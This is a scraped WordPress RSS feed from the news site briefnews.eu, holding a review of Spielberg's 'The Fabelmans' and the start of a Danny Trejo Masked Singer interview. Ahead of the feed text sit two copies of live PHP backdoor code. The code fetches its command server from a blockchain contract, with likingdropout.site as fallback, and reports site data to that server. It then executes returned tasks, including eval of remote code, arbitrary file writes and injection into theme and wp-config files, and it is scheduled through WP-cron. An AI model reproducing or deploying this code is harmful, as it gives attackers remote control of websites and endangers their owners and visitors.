// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Steven – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 11 Sep 2022 10:07:27 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Steven – Brief News https://briefnews.eu 32 32 The Fabelmans Review: One Of Steven Spielberg’s Warmest, Most Autobiographical Films [TIFF] https://briefnews.eu/the-fabelmans-review-one-of-steven-spielbergs-warmest-most-autobiographical-films-tiff/ https://briefnews.eu/the-fabelmans-review-one-of-steven-spielbergs-warmest-most-autobiographical-films-tiff/#respond Sun, 11 Sep 2022 10:07:27 +0000 https://briefnews.eu/the-fabelmans-review-one-of-steven-spielbergs-warmest-most-autobiographical-films-tiff/

There’s a scene in Steven Spielberg’s “The Fabelmans” that hit me like a ton of bricks. Sammy Fabelman (Gabriel LaBelle), a kid who dreams of making movies, has just met his Great Uncle Boris (Judd Hirsch). In his youth, Boris worked in the circus — and in the movies. He’s an artist, and he recognizes that Sammy is an artist, too. And as Boris matter-of-factly points out, Sammy may love his family — but he loves making movies just a little bit more. It was one of those “ah-ha” moments I’ve longed to hear spoken aloud. The idea that you can love those near and dear to you, but you can also love movies — and making art — just a little bit more. 

“The Fabelmans” is the movie Spielberg has been working towards for his entire life. I’m not saying it’s his masterpiece — it’s not. I’m saying that this is Spielberg’s own personal story rendered in slick, big-screen cinema form. He’s made plenty of personal, autobiographical films before, but he couldn’t make this movie until this very moment in his life. Anyone who is a Spielberg fan — or should I say Spielberg nerd — doesn’t just know Spielberg’s movies, they know Spielberg’s history. It’s as if he has his own mythology — how he made home movies as a kid, how he taught himself to become a director, how his parents’ divorce turned him at odds against his father, eventually resulting in a series of films with absentee dads, how he started off in TV before becoming one of the most successful directors of all time.  

With “The Fabelmans,” Spielberg is grappling with his own mythology, and re-examining it, too. This isn’t exactly how Spielberg’s life unfolded; it’s the Hollywood version, and that’s fitting. Spielberg is one of the best filmmakers of all time; an icon. Movies are dreams, and Spielberg is a creator of dreams, so it’s only fitting that his autobiography is a more Hollywood-ized version of the truth. The result is a film that’s funny, sweet, and comfortably warm. And yet, there’s a certain melancholy lurking beneath the joy of all. Because the moral of Uncle Boris’ speech about loving making art above all else is that artists ultimately lead a lonely life. They are trapped in their own heads, and their only outlet is to create things that no one else can. It can be alienating, and you get the sense that despite all his massive, massive success, there’s a loneliness in Spielberg’s heart; loneliness he’s been chasing away his entire life. But there’s also joy; joy in the form of creating films that can thrill, awe, entertain, and bring us to tears. 

The Greatest Show On Earth

Penned by Spielberg and his best screenplay collaborator, Tony Kushner, “The Fabelmans” gets off to a rather rocky start. After a lovely scene where a young Sammy, our Spielberg avatar (played as a younger child by Mateo Zoryna Francis-Deford), sees his first movie on the big screen — “The Greatest Show on Earth” — and comes away awed and afraid, the film grows rather abrasive. Sammy’s home life is loving but chaotic, and everyone, especially his sisters, seems to be screaming all the time. This is one of my most anticipated films of the year, and I found myself overcome with a sense of unease during these early scenes, worried that Spielberg had missed a step. Thankfully, “The Fabelmans” eventually finds its groove, because of course it does. I should probably be ashamed for doubting the maestro. Sorry, Steve. 

Sammy’s father Burt (Paul Dano, who radiates a calm charm here) is loving but a workaholic frequently away from home, working on cutting-edge computer technology with his longtime friend Bennie (Seth Rogen). Burt is scientific and analytical, but Sammy’s mother Mitzi (Michelle Williams) is what you’d call a free spirit. Like Sammy, she’s an artist — she plays piano, and dreamed of doing it professionally before having children. It’s clear that part of “The Fabelmans” is meant to be a love letter to Spielberg’s mother, but Williams’ performance never really clicked with me, even though I regard her as a remarkable actor. Mitzi’s alcoholism is hinted at, and her frequently troubled mental state is highlighted. But Williams decides to play the role to the hilt, going huge, guffawing and falling into hysterics over things that aren’t particularly funny. Intentional or not, it grates on the nerves a bit.

But the film finds its footing once Sammy has grown into a teenager, played by Gabriel LaBelle, who is immensely likable here, so much so that I hope he works with Spielberg again. Sammy is obsessed with making movies, and he does so frequently, using his father’s camera and his friends as extras, and creating bigger and more elaborate movies as he gets better and better at it all. All of these early childhood films on display here are direct recreations of films the young Spielberg made himself, and it’s a joy to watch the filmmaker resurrect his youthful work. He’s reliving his childhood, and bringing us along with him. And it’s not a disagreeable journey at all. 

Art Is Your Drug

The Fabelman family starts off in New Jersey, moves to Arizona, and eventually ends up in California. The California section is the best part of the film, as Sammy grows into the filmmaker we know he’ll eventually become. He also deals with plenty of personal drama — his parents are growing apart, a fact heightened by Mitzi’s attraction to Bennie. On top of that, the kids at Sammy’s new school are fiercely anti-Semitic, bullying Sammy mercilessly. Judaism is a big part of Spielberg’s life, and thus it’s a big part of “The Fabelmans,” although the filmmaker doesn’t quite go deep enough with these elements. “I was ashamed of a lot of things and they actually managed with enough chiding and bullying to make me actually feel ashamed of being Jewish,” Spielberg said of his bullied youth, but there’s no hint of that shame here. But again: this is the Hollywood version of the story, not the real deal. Spielberg is the artist; we’ll let him paint the picture he wants to paint. 

Despite these rather dire situations, Spielberg and Kushner’s script frequently goes for big laughs. Eventually, Sammy falls for a Catholic girl named Monica (a charming Chloe East), and their first “date” to Monica’s bedroom, where she shows Sammy her many, many portraits of Jesus and then asks Sammy to pray with her, is one of the funniest things Spielberg has ever created. There’s also a brilliant meta joke involving one of Sammy’s bullies that I won’t spoil, but trust me, you’ll know it when it happens, and you’ll laugh — hard. Ditto the film’s final scene, which is a Spielberg all-timer. 

While this is one of Spielberg’s most grounded movies — save for a scene involving a tornado, don’t expect big special effects-laden set pieces — he still brings his unmatched style to it all, with longtime cinematographer Janusz Kamiński moving the camera around Sammy as he toils away at his editing machine, or capturing the haunting light that cuts through the Fabelman household windows. It’s beautifully rendered, and often magical — like when Sammy uses his hands as a makeshift screen, aiming the projector at his open palms. 

And through it all, the simple fact remains — Sammy, and Spielberg, can’t stop, won’t stop. He must make art. As his Great Uncle told him, he’s a junkie — art is his drug, and he can’t get enough of it. There’s something comforting about that; a sense that Spielberg won’t ever quit — that he’ll be creating movies until he’s gone, and at that point, we’ll be left with his massive, looming legacy. “The Fabelmans” doesn’t feel like a capper to Spielberg’s career. It feels like an immensely personal story that the filmmaker had to wait to tell. And now that he’s told it, it’s time to move on to the next great work of art. 

/Film Rating: 9 out of 10

Read this next: The Best Movies Of 2022 So Far

The post The Fabelmans Review: One Of Steven Spielberg’s Warmest, Most Autobiographical Films [TIFF] appeared first on /Film.

]]> https://briefnews.eu/the-fabelmans-review-one-of-steven-spielbergs-warmest-most-autobiographical-films-tiff/feed/ 0 Masked Singer’s Latest Castoff Drew His Inspiration From Steven Tyler’s Appearance on Two and a Half Men https://briefnews.eu/masked-singers-latest-castoff-drew-his-inspiration-from-steven-tylers-appearance-on-two-and-a-half-men/ https://briefnews.eu/masked-singers-latest-castoff-drew-his-inspiration-from-steven-tylers-appearance-on-two-and-a-half-men/#respond Thu, 25 Mar 2021 10:17:34 +0000 https://briefnews.eu/masked-singers-latest-castoff-drew-his-inspiration-from-steven-tylers-appearance-on-two-and-a-half-men/ In retrospect, we should’ve guessed this week’s un-Masked Singer. After all, the guy has 400 — no, that’s not a typo — acting credits to his name.

So we’re slightly ashamed that we didn’t realize that Danny Trejo — whom you may know from TV shows as varied as The Flash, From Dusk Til Dawn: The Series and Sons of Anarchy — was underneath Raccoon’s furry head.

We got Trejo on the phone Wednesday to talk about his Masked adventure, which ended with this week’s episode, and how it served as a tribute to a certain Aerosmith lead singer’s stint on a certain Chuck Lorre sitcom.

the-masked-singer-danny-trejo-raccoon-season-5-interview-videoTVLINE | So, hold on: I also cover American Gods for our site. And this thought occurred to me about that show during your guest-star appearance this season, too: Do you have a checklist of every series currently on television, and you’re like, “I’m going to do that one. I’m going to do that one. I’m going to do that one?”
[Laughs loudly] I’m so blessed. I have been so blessed. I was working through the pandemic. I don’t know how. I was doing voiceovers. I’ve done every cartoon on television. That was great, because work was so hard. And I don’t know why actors don’t like doing… [shouts to someone in background] What do they call them, Mikey? [Mikey: “Cameos.”] Cameos! I love ’em! You can be in your boxer shorts and just like, “Hi, Bob, your wife, Carol, wants to wish you a happy anniversary, because you’re a great guy!” [Laughs] So me and Mikey, my assistant, we try to do 10 or 15 a night! It’s great!

TVLINE | How did you become involved with The Masked Singer? Did they come to you? Did you reach out to them?
My agent said, “Have you seen The Masked Singer?” I’m working, so I don’t see a lot of TV. I’ve seen it a few times. It’s a really cute show. He said, “Well, do you want to try it?” I said, “Sure!” Then, when I saw the costume, the Raccoon, I have a dog John Wesley Harding, he’s a little schnauzer, he looks exactly like that. The same features! I was like, “Yeah, that’s my dog! John Wesley Harding!” So even though they thought I was playing a raccoon, I was playing my dog.

TVLINE | Talk to me about your song selection.
